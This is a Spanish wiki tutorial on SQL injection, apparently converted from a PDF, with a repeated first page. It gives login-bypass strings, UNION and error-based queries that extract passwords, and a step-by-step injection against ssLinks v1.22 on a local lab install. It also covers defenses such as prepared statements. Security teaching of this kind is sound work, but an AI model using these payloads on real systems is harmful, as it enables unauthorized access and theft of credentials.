Inyección SQL - Wiki de Elhacker

10
13/2/2014 Inyección SQL - wiki de elhacker.net http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 1/10 Contenidos 1 Inyección SQL 1.1 Ejemplo 1 1.2 Ejemplo 2 1.3 Ejercicio 1.4 Ejemplo 3 1.5 Blind SQL injection 2 Atacando a una aplicación real. 2.1 Prefacio 2.2 Herramientas necesarias 2.3 Montando el escenario 2.4 El ataque 2.5 Un poco de SQL Listado de subpáginas Protegerse de un ataque SQL Injection Wiki Web Foro Blog WarZone Labs Login Navegación Inicio Análisis y Diseño de Malware Bases de datos Bugs y Exploits Electrónica Hardware Informática Juegos y consolas Programación Redes Seguridad Sistemas Operativos Wireless Mapa del sitio ¡Únete! ¿Deseas ayudar a mantener esta wiki? ¡Contáctanos! elhacker.net busca editores para la wiki, que nos ayuden a recolectar la información mas importante del foro y moverla a la wiki , asi como editar el estilo y contenido de los artículos. Nuestro objetivo es crear un lugar donde puedas aprender por tu cuenta acerca de informática a partir de un recopilatorio de temas y conocimiento. Actividad reciente del sitio Hugetlbfs Linux editado por el-brujo elhacker.net Utilizando Wikipedia sin conexión mediante Kiwix editado por Vertex.Symphony w iki Instalacion de Software bajo Linux editado por Vertex.Symphony w iki GnuPG editado por Vertex.Symphony w iki Boot PXE editado por Vertex.Symphony w iki View All Bugs y Exploits > Nivel Web > Inyección SQL Inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación. Para poder explotar con exito una falla de inyección SQL es necesario que estes familiarizado con anterioridad el lenguaje. información sobre su implementación en PHP se puede encontrar en http://php.net/mysql http://dev.mysql.com/ Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas. Ejemplo 1 $us=$_POST['usuario']; $pass=$_POST['pass']; $sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'"; -- código largo cortado -- if(mysql_fetch_array($exc)){ echo "Inicio de sesión correcto"; // Esto fue modificado } Este es el tipico sistema de verificacion de contraseñas.. utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false. omo podemos hacer que no devuelva false?? Con el password correcto Haciendo trampa Logicamente, no usaremos la primera opción. Haciendo trampa.. se haria algo asi: esta es la petición que solo nos deja pasar si sabesmos el pass.. SELECT * FROM usuarios WHERE user = '$us' AND password='$pass' ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us? Supongamos que ponemos de usuario Pegaso, y de password pjps. El usuario existe, pero no sabemos el pass.. la sentencia que SQL recibira sera: SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps' y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false Ahora, con un poco de creatividad: de usuario: Pegaso de password: ' OR ''=' la sentencia SQL recibira: SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''='' nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso. Buscar en elhacker.net

description

Inyeccion SQL

Transcript of Inyección SQL - Wiki de Elhacker

Page 1: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 1/10

Contenidos

1 Inyección SQL

1.1 Ejemplo 1

1.2 Ejemplo 2

1.3 Ejercicio

1.4 Ejemplo 3

1.5 Blind SQL injection

2 Atacando a una aplicación real.

2.1 Prefacio

2.2 Herramientas necesarias

2.3 Montando el escenario

2.4 El ataque

2.5 Un poco de SQL

Listado de subpáginas

Protegerse de un ataque SQL Injection

Wiki Web Foro Blog WarZone Labs Login

Navegación

Inicio

Análisis y Diseño de

Malware

Bases de datos

Bugs y Exploits

Electrónica

Hardware

Informática

Juegos y consolas

Programación

Redes

Seguridad

Sistemas Operativos

Wireless

Mapa del sitio

¡Únete!

¿Deseas ayudar amantener esta

wiki?

¡Contáctanos!

elhacker.net busca

editores para la wiki, que

nos ayuden a recolectar

la información mas

importante del foro y

moverla a la wiki, asi

como editar el estilo y

contenido de los

artículos.

Nuestro objetivo es crear

un lugar donde puedas

aprender por tu cuenta

acerca de informática a

partir de un recopilatorio

de temas y

conocimiento.

Actividad recientedel sitio

Hugetlbfs Linux

editado por el-brujo

elhacker.net

Utilizando Wikipedia sin

conexión mediante Kiwixeditado por

Vertex.Symphony w iki

Instalacion de Software

bajo Linuxeditado por

Vertex.Symphony w iki

GnuPGeditado por

Vertex.Symphony w iki

Boot PXEeditado por

Vertex.Symphony w iki

View All

Bugs y Exploits > Nivel Web >

Inyección SQL

Inyección SQL es el ataque vía web, queaprovecha errores en la filtración de datosintroducidos por el usuario, y quepermiten a un atacante, tener control decierta aplicación.

Para poder explotar con exito una falla deinyección SQL es necesario que estesfamiliarizado con anterioridad el lenguaje.

información sobre su implementación enPHP se puede encontrar en http://php.net/mysqlhttp://dev.mysql.com/

Los ataques SQL pueden ser evitados demuchas formas, iniciare con algunosejemplos de instrucciones vulnerables,con las “magic quotes” desactivadas.

Ejemplo 1

$us=$_POST['usuario'];$pass=$_POST['pass'];$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";

-- código largo cortado --

if(mysql_fetch_array($exc)){echo "Inicio de sesión correcto"; // Esto fue modificado}

Este es el tipico sistema de verificacion de contraseñas..utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asique si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false.

omo podemos hacer que no devuelva false??

Con el password correctoHaciendo trampa

Logicamente, no usaremos la primera opción.

Haciendo trampa.. se haria algo asi:esta es la petición que solo nos deja pasar si sabesmos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'

ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y$us?Supongamos que ponemos de usuario Pegaso, y de password pjps.El usuario existe, pero no sabemos el pass..la sentencia que SQL recibira sera:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'

y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false

Ahora, con un poco de creatividad:de usuario: Pegasode password: ' OR ''='

la sentencia SQL recibira:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo devalidación como Pegaso.

Buscar en elhacker.net

Page 2: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 2/10

Otros posibles valores que devuelven true son:usuario: Pegaso AND /* password: */ ''='usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con algunaherramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2

$us=$_POST[‘usuario’];$pas=$_POST[‘pass’];if($_GET['usuario'] || $_GET['pass']){die("Hack Attempt");}$sql="SELECT password FROM usuarios WHERE user = '$us'";

-- código largo cortado --

$resp = mysql_query($sql) or die(mysql_error());if(mysql_fetch_array($resp)){if($resp==$pas){echo "Inicio de sesión exitoso"; // Esto fue modificado}else{echo "el password $resp es incorrecto";}}

Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?SI, ¿porque?Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidaspor el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica,pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..Bueno.. UNION necesita algunos requisitos.

Necesitas meter la misma cantidad de valores que tiene la tabla.Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.la instrucción a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'

como ejemplo, si colocalmos de usuario: zanahoriala instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividadregresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:

The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNIONSELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guardanumeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios

Page 3: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 3/10

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuariosWHERE user = 'zanahoria'

que nos da como error:

Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja.

Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda lainformación posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentenciausuario:' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='

y nos regresa:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

root@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Ejercicio

¿Que puedes hacer con esta sentencia?¡$sql="UPDATE clicks set dat=now(), aas=aas+1 where ref='$HTTPREFFERER'";$resp = mysql_query($sql) or die(mysql_error());

Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intentaautohackearte, eso te dara practica.

Fuente Original: http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.htmlAutor: sirdarckcat

Ejemplo 3

La inyección SQL es fácil de evitar en la mayoría de los lenguajes de programación que desarrollan aplicaciones web. En Perl DBI, elmétodo DBI::quote filtra los caracteres especiales (asumiendo que la variable $sql contiene una referencia a un objeto DBI)

$query = $sql->prepare ( "SELECT * FROM usuarios WHERE nombre = " . $sql->quote($nombre_usuario) );

O también se puede usar la característica placeholder (con comillado automático) como sigue:

$query = $sql->prepare("SELECT * FROM usuario WHERE nombre = ?"); $query->execute($nombre_usuario);

En PHP, hay diferentes funciones que nos pueden servir de ayuda para usar con distintos sistemas de gestión de bases de datos. Para MySQL, la función a usar es mysql_real_escape_string:

$query_result = mysql_query ( "SELECT * FROM usuarios WHERE nombre = \"" . mysql_real_escape_string($nombre_usuario) . "\"" );

En el Java, tenemos que usar la clase PreparedStatement :

En vez de

Page 4: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 4/10

Connection con = (acquire Connection) Statement stmt = con.createStatement(); ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';");

hay que usar lo siguiente

Connection con = (acquire Connection) PreparedStatement pstmt = con.prepareStatement("SELECT * FROM usuarios WHERE nombre = ?"); pstmt.setString(1, nombreUsuario);

ResultSet rset = pstmt.executeQuery();

En C#, de la plataforma .NET (o su alternativa libre Mono), tenemos ADO.NET SqlCommand (para Microsoft SQL Server) or

OracleCommand (para servidores de bases de datos Oracle). El ejemplo de abajo muestra cómo prevenir los ataques de inyección de

código usando el objeto SqlCommand. El código para ADO.NET se programa de forma similar, pero puede variar levemente según laimplementación específica de cada proveedor.

En vez de

using( SqlConnection con = (acquire connection) ) { con. Open(); using( SqlCommand cmd = new SqlCommand("SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "'", con) ) { using( SqlDataReader rdr = cmd.ExecuteReader() ){ ... } } }

hay que usar lo siguiente

using( SqlConnection con = (acquire connection) ) { con. Open(); using( SqlCommand cmd = new SqlCommand("SELECT * FROM usuarios WHERE nombre = @nombreUsuario", con) ) {

cmd.Parameters.AddWithValue("@nombreUsuario", nombreUsuario);

using( SqlDataReader rdr = cmd.ExecuteReader() ){ ... } } }

Blind SQL injection

Tipo de inyección SQL que es utilizado cuando una página web por motivos de seguridad no muestra mensajes de error de la base dedatos al no haber un resultado correcto mostrándose siempre el mismo contenido (solo habrá respuesta si el resultado es correcto).Sentencias del tipo "Or 1=1" o "having 1=1" ofrecen respuestas siempre correctas por lo que son usadas como comprobación. Elproblema para la seguridad de la página está en que esta técnica es utilizada en combinación de diccionarios o fuerza bruta para labúsqueda carácter por carácter de una contraseña, un nombre de un usuario, un número de teléfono o cualquier otra información quealbergue la base de datos atacada; para ello se utiliza código SQL específico que "va probando" cada carácter consiguiendo resultadopositivo cuando hay una coincidencia. De esta manera se puede saber por ejemplo que una contraseña comienza por "F...", luego"Fi...", luego "Fir..." hasta dar con la palabra completa.

Existen programas que automatizan éste proceso de "adivinación" letra por letra del resultado de la consulta SQL que un intruso podríaenviar.

Atacando a una aplicación real.

El como y el porque de las inyecciones SQL.

Prefacio

Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos unainyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momentotenga los conocimientos necesarios para poder modificar la sentencia a su antojo.

El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada porSirDarckCat el día 4 de septiembre del 2006.

Nivel

Principiante.

Herramientas necesarias

Bloc de notas o editor de texto.Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tupropio servidor web)ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zipGanas de aprender

Page 5: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 5/10

Montando el escenario

Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lomismo da, lo importante es poder ejecutar el programa desde un navegador web.

Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php.

Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail olos tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber

Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.

Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.

CREATE TABLE sslinkcats ( lcat_id int(11) NOT NULL auto_increment, lcat_cat int(11) DEFAULT '0' NOT NULL, lcat_name varchar(100) NOT NULL, lcat_header text, lcat_ranking int(11), lcat_numlinks int(11) DEFAULT '0' NOT NULL, PRIMARY KEY (lcat_id))

---------------------------------------------------------------------------------

CREATE TABLE sslinks ( link_id int(11) NOT NULL auto_increment, link_cat int(11) DEFAULT '0' NOT NULL,

link_name varchar(100) NOT NULL, link_url varchar(255) NOT NULL, link_desc text, link_hits int(11) DEFAULT '0' NOT NULL, link_totalrate int(11), link_numvotes int(11), link_dateadd int(11), link_addemail varchar(255), link_addname varchar(100), link_validated char(3), link_recommended char(3) DEFAULT 'no' NOT NULL, PRIMARY KEY (link_id))

Y por último, cambiar estas líneas del archivo global.inc.php:

// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address$db_name = "sslinks"; // The name of the database to use$db_user = "username"; // Your mySQL username$db_pass = "password"; // Your mySQL password

Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo,porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.

Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.Veremos algo así:

Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos losque pusimos.

Igualmente estos datos se pueden encontrar en el archivo global.inc.php

// Admin username / password for the script

$admin_user = "Admin"; // This is the username used to log in as an admin$admin_pass = "sslinks"; // This is the password used to log in as an admin

Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentespara hacer las pruebas.

Page 6: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 6/10

para hacer las pruebas.

Ok. Perfecto. Logout y tenemos el escenario montado

Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos másadelante)

El ataque

Empezemos lo divertido

Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma páginaotra vez con un argumento "go".

Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:

Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.

De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.

Pues bien, miremos primero de todo si la variable go es vulnerable.

Abrimos el archivo links.php:

<?php/************************************************************* ssLinks v1.1 - a PHP / mySQL links management system* (c) Simon Willison 2001* For more information, visit www.tfc-central.co.uk/sslinks/************************************************************/

// See global.inc.php for changes since version 1.0.

include("global.inc.php"); //Change this if global.inc.php is in a different directory

// You should not need to change anything below this line.

$admin = is_admin();$return = numlinks_array(); // Build array of number of links in each category$numlinks = $return[0];$numlinkstree = $return[1];

if ((!$cat) && (!$go) && (!$action)) $cat = 0;

if (isset($go)){ jump_to($go);}

if ($action == "login"){ if ($username) login($username, $password);}

...

?>

Ahora toca pensar como una máquina

Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variableque le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es

Page 7: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 7/10

que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", esevidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una funciónjump_to().

Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en lalínea 12...

include("global.inc.php");

Pues nos toca buscar esta función en tal archivo.

Abrimos el archivo global.inc.php y... sorpresa!

En la línea 543 encontramos la función!

<?phpfunction jump_to($id){ // redirect user to URL of $id and increment the hit counter global $db_host, $db_name, $db_user, $db_pass;

$cnx = mysql_connect($db_host, $db_user, $db_pass) or custom_die("Unable to connect to database server."); mysql_select_db($db_name, $cnx) or custom_die("Unable to select database."); $result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'"); if (!$result) custom_die("SQL result failed"); $num = mysql_num_rows($result); if ($num == 0) { header("Location: links.php"); exit; } while ($row = mysql_fetch_array($result)) { $hits = $row["link_hits"]; $url = $row["link_url"]; } $hits++; $result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'"); header("Location: $url"); exit;}?>

Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).

Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada atal ID, y nos redirije a ella, despues de haber incrementando el contador.

Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...

Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...

$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");

La variable $id se pasa como sentencia SQL sin estar limpiada!!

Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas,por que en caso contrario sería imposible inyectar código.

La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado (demomento)

Para ello, modificar la función de tal manera que quede así:

<?php

function jump_to($id){ $id = stripslashes($id); // redirect user to URL of $id and increment the hit counter global $db_host, $db_name, $db_user, $db_pass; $cnx = mysql_connect($db_host, $db_user, $db_pass) or custom_die("Unable to connect to database server."); mysql_select_db($db_name, $cnx) or custom_die("Unable to select database."); echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'"; $result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'"); if (!$result)

Page 8: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 8/10

if (!$result) custom_die("SQL result failed"); $num = mysql_num_rows($result); if ($num == 0) { //header("Location: links.php"); exit; } while ($row = mysql_fetch_array($result)) { $hits = $row["link_hits"]; $url = $row["link_url"]; } $hits++; $result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'"); //header("Location: $url"); exit;}

?>

Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y másadelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver elefecto que tiene nuestro ataque, porque sino nos redirije.

Perfecto... Empezemos a hacer pruebas!

En nuestro navegador escribamos...

http://localhost/sslinks-v122/links.php?go=ertai r00lz XD

Y que sale?

SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'

Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.

Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le

enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datosde la base de datos. Y en eso consisten las inyecciones SQL.

Un poco de SQL

Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.

Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves dela variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso eluso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.

Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque encondiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.

Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestrainyectada devuelve UN resultado y así en el código todo cuadrara.

Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (elresultado) ha de ser "quadrado".

Page 9: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 9/10

P: Como hacemos que la consulta primera no de resultado ni error?R: Pues cojemos un ID imposible, como -1 (menos uno)

P: Como cojemos nuestros datos?R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.

P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.

R: Cierto, así que usaremos un pequeño truco

Manos a la obra:

SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'

Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.

SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'

Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara alUNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ninada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucciónSQL.

Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es losiguiente:

-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.

Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) quehabíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers haránque nos redirijan.

Por lo tanto, escribid en vuestro navegador:

http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Y como veis nos intenta llevar a:

http://RUTA_DONDE_TENGAIS_SSLINKS/numero

... donde numero es el numero de visitas del link con ID=1.

Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.

Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin.La cosa cambia, no? jeje.

Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareissacando.

Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreisdado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso noes nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas yluego preguntar.

Autor: ErtaiFuente Original:http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html

Subpáginas (1): Protegerse de un ataque SQL Injection

Č

hackme.zip sirdarckcat elhacker.net, ċ ďv.7(1k) 20/6/2008 11:34

Page 10: Inyección SQL - Wiki de Elhacker

13/2/2014 Inyección SQL - wiki de elhacker.net

http://wiki.elhacker.net/bugs-y-exploits/nivel-web/inyeccion-sql 10/10

Iniciar sesión | Actividad reciente del sitio | Informar de uso inadecuado | Imprimir página | Eliminar acceso | Con la tecnología de Google Sites

Comentarios

No tienes permiso para añadir comentarios.